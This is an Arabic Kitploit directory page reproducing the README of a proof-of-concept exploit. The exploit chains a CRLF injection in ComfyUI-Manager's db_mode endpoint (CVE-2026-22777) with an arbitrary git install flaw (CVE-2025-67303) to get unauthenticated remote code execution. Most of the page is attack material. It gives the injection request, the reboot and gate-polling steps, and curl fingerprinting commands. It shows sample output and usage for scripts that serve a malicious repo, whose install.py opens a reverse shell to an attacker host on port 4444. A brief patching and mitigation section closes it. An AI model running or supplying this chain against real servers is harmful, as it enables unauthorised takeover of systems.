Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22777 — إثبات مفهوم للاستغلال يربط حقن CRLF في نقطة نهاية الإعدادات الخاصة بـ ComfyUI-Manager مع تثبيت git عشوائي لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة. | Kitploit
أدوات/GitHubGitHub/si13nttt/cve-2026-22777
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

إثبات مفهوم للاستغلال يربط حقن CRLF في نقطة نهاية الإعدادات الخاصة بـ ComfyUI-Manager مع تثبيت git عشوائي لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة.

4منذ 4 أياملم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-22777 — حقن CRLF في ComfyUI-Manager -> تنفيذ تعليمات برمجية عن بُعد (مع CVE-2025-67303)

الخطورة: حرجة (CVSS 9.8) المتأثر: ComfyUI-Manager < 3.39.2 و 4.0.0 - 4.0.4 تم إصلاحه في: ComfyUI-Manager 3.39.2 / 4.0.5 متسلسل مع: CVE-2025-67303 (تثبيت Git عشوائي -> تنفيذ تعليمات برمجية)


كيف يعمل

يكشف ComfyUI-Manager عن نقطة نهاية /api/manager/db_mode التي تقبل معامل استعلام value وتكتبه مباشرةً في config.ini باستخدام configparser الخاص بـ Python.

الثغرة هي حقن محرف إرجاع عربة مجرّد (\r / %0D):

  • عند الكتابة: يُسلسل configparser القيمة حرفيًا — يُخزَّن \r كما هو في الملف.
  • عند القراءة: يعامل وضع الأسطر الجديدة الشامل في Python محرف \r المجرّد كمُنهي سطر، فيقسّم قيمة واحدة إلى توجيهين منفصلين في INI.
  • المفتاح الأخير يفوز: يقبل configparser مع strict=False (الإعداد الافتراضي في ComfyUI-Manager) المفاتيح المكررة ويستخدم الأخير منها. القيمة المحقونة security_level = weak تستبدل القيمة الشرعية.

بعد إعادة التشغيل يصبح الإعداد المزوّر فعّالًا، مما يعطّل بوابة المصادقة على /api/customnode/install/git_url (CVE-2025-67303). تقوم نقطة النهاية هذه باستنساخ مستودع git عشوائي وتنفيذ install.py منه فورًا كعملية فرعية — مما يمنح مهاجمًا غير مُصادَق تنفيذًا كاملًا للتعليمات البرمجية.


سلسلة الهجوم

Step 1 — Inject bare CR into config endpoint
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  config.ini on disk after write:
    db_mode = cache\r
    security_level = weak   <- injected via %0D

Step 2 — Reboot Manager to reload forged config
  GET /api/manager/reboot

  Manager reads config.ini back; universal newlines split the value;
  last-key-wins -> security_level = weak

Step 3 — Verify gate (poll until 403 changes to 400)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = gate still closed
  400 = gate open, security_level=weak confirmed

Step 4 — Trigger install from evil git repo (CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTACKER:9099/alg-upscaler.git

  Manager does:
    git clone http://ATTACKER:9099/alg-upscaler.git
    python install.py   <- reverse shell executes here

الملفات

الملفالغرض
setup_evil_repo.shبناء مستودع git الخبيث وتقديمه عبر HTTP
exploit_ad15.shتشغيل السلسلة الكاملة: حقن CRLF -> إعادة تشغيل -> تحقق -> تشغيل
autopwn.pyبديل Python شامل (يبني المستودع + يشغّل السلسلة الكاملة)

التحديد

الخطوة 1 — بصمة الإصدار

curl -s http://TARGET:8188/api/manager/version
# Vulnerable:  "3.39.1"  /  "4.0.3"
# Patched:     "3.39.2"  /  "4.0.5"

الخطوة 2 — تأكيد أن نقطة نهاية CRLF تقبل القيم

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> endpoint exists and is writable

الخطوة 3 — فحص بوابة التثبيت

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> gate closed (default config, target is injectable)
# 400 -> gate already open (skip Phase 1)

شرح مخرجات الاستغلال

============================================================
  CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
  Target      : http://192.168.1.10:8188
  Attacker    : 10.10.14.1:4444
  Evil repo   : http://10.10.14.1:9099/alg-upscaler.git

[*] Phase 0: Version fingerprint
    ComfyUI-Manager version: "3.39.1"        <- vulnerable

[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
    config.ini now contains:
      db_mode = cache\r
      security_level = weak  <- injected via bare CR

[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...

[*] Phase 3: Verify security gate
    Attempt 1: HTTP 403                      <- still rebooting
    Attempt 2: HTTP 403
    Attempt 3: HTTP 400                      <- gate open
[+] Gate OPEN -- security_level=weak is active

[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)

[*] Phase 5: Triggering git install (CVE-2025-67303)
    ComfyUI-Manager will:
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd into cloned dir
      3. python install.py  <- reverse shell executes here

يتوقف أمر curl في المرحلة 5 — تصل الصدفة العكسية إلى nc -lvnp 4444.


الفرق مقابل PoC الخاص بـ Vulhub

1. الحمولة

Vulhub PoCهذا PoC
install.pytouch /tmp/success (إثبات التنفيذ فقط)صدفة عكسية بـ Python تعود إلى المهاجم
النتيجةلا صدفة تفاعليةصدفة تفاعلية كاملة

2. إدارة المستودع

Vulhub PoCهذا PoC
اللغةملف Python واحدBash، سكربتان منفصلان
التنظيفtempfile.TemporaryDirectory (يُحذف تلقائيًا عند Ctrl+C)يدوي (يبقى على القرص)
اسم المستودععشوائي (مثل evil-node-a1b2c3)ثابت: alg-upscaler

3. تغطية السلسلة

Vulhub PoCهذا PoC
CVE-2026-22777 (حقن CRLF)غير مُضمَّنفي exploit_ad15.sh المرحلة 1
إعادة التشغيل + التحقق من البوابةغير مُضمَّنينتظر 30 ثانية ثم يستطلع 403->400
تشغيل التثبيتcurl يدويآلي في المرحلة 5

الاستخدام

الخطوة 1 — إعداد المستودع الخبيث والمستمع (طرفيتان)

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444

الخطوة 2 — تشغيل سلسلة الاستغلال الكاملة

# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

تصل الصدفة في الطرفية 1 بعد المرحلة 5.

بديل — Python شامل

# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

الإصلاح / التخفيف

الترقية (موصى بها): ComfyUI-Manager 3.39.2 أو 4.0.5+. تُزيل الترقعة \r و \n قبل كتابة أي معامل استعلام في config.ini.

تخفيفات الشبكة (إذا لم يكن الترقيع فوريًا):

  • احجب الوصول الخارجي إلى المنفذ 8188 على الجدار الناري — لم يُصمَّم ComfyUI للتعرض العام.
  • استخدم وكيلًا عكسيًا مع مصادقة أمام /api/manager/* و /api/customnode/*.
  • اجعل config.ini للقراءة فقط: chmod 444 config.ini.

المراجع

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
تنزيل الأداة